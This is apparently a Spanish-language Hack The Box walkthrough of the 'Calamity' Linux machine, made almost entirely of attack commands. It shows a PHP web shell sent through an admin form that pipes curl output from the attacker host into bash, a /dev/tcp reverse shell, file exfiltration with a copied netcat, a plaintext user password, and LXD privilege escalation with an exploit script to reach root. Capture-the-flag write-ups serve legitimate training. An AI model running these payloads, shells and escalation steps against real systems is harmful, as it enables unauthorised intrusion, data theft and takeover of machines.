Calamity

Calamity


HTB Linux

whichSystem.py 10.129.213.125

ssh_command.

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.213.125 -oG allPorts

ssh_command.

extractPorts allPorts

ssh_command.

nmap -sCV -p22,80 10.129.213.125 -oN targeted

ssh_command.

whatweb http://10.129.213.125

ssh_command.

nmap --script http-enum -p80 10.129.213.125 -oN webScan -Pn

ssh_command.

https://10.129.213.125

ssh_command.

nmap --script http-enum -p80 10.129.213.125 -oN WebScan

ssh_command.

Buscamos en http://10.129.213.125/uploads

ssh_command.

Buscamos en http://10.129.213.125/admin.php

ssh_command.

ssh_command.

Metemos lo siguiente en el formulario

<?php system("whoami"); ?>

Despliega www-data

ssh_command.

<?php system("curl 10.10.14.157 | bash"); ?>

nc -lvnp 443

Creamos un archivo index.html con el codigo en la imagen y iniciamos un servidor en python

touch index.html

python3 -m http.server 80

ssh_command.

cat fakeShell.sh

ssh_command.

rlwrap ./fakeShell.sh

ssh_command.

cp /bin/bash /dev/shm/cu3rv0x

ssh_command.

/dev/shm/cu3rv0x -c '/dev/shm/cu3rv0x -i &> /dev/tcp/10.10.14.157/443 0>&1'

nc -lvnp 443

ssh_command.

ssh_command.

#transfer_files

cp /bin/nc /dev/shm/transfer

/dev/shm/transfer 10.10.14.157 443 < recov.wav

nc -lvnp 443 > recov.wav

ssh_command.

/dev/shm/transfer 10.10.14.157 443 < rick.wav

nc -lvnp 443 > recov.wav

md5sum rick.wav recov.wav

ssh_command.

play /home/cu3rv0x/message.wav

/usr/bin/script -qc /bin/bash /dev/null

Conseguimos las siguientes credenciales:

su xalvas

18547936..*

ssh_command.

uname -a

ssh_command.

En tu kali

searchsploit lxd

searchsploit -m 46978

wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine

ssh_command.

chmod +x build-alpine

./build-alpine -a i686

ssh_command.

chmod +x lxd privesc.sh

dos2unix lxd_privesc.sh

ssh_command.

python3 -m http.server 80

ssh_command.

En el servidor hacemos lo siguiente:

cd /dev/shm

wget http://10.10.14.157/lxd_privesc.sh

wget http://10.10.14.157/alpine-v3.19-i686-20240306_1835.tar.gz

ssh_command.

chmod +x lxd_privesc.sh

./lxd_privesc.sh -f alpine-v3.19-i686-20240306_1835.tar.gz

ssh_command.

Borrar linea 21:

ssh_command.

./lxd_privesc.sh -f alpine-v3.19-i686-20240306_1835.tar.gz

ssh_command.

cd / cd mnt cd root

cat root.txt

ssh_command.

ssh_command.

© 2024 Cu3rv0x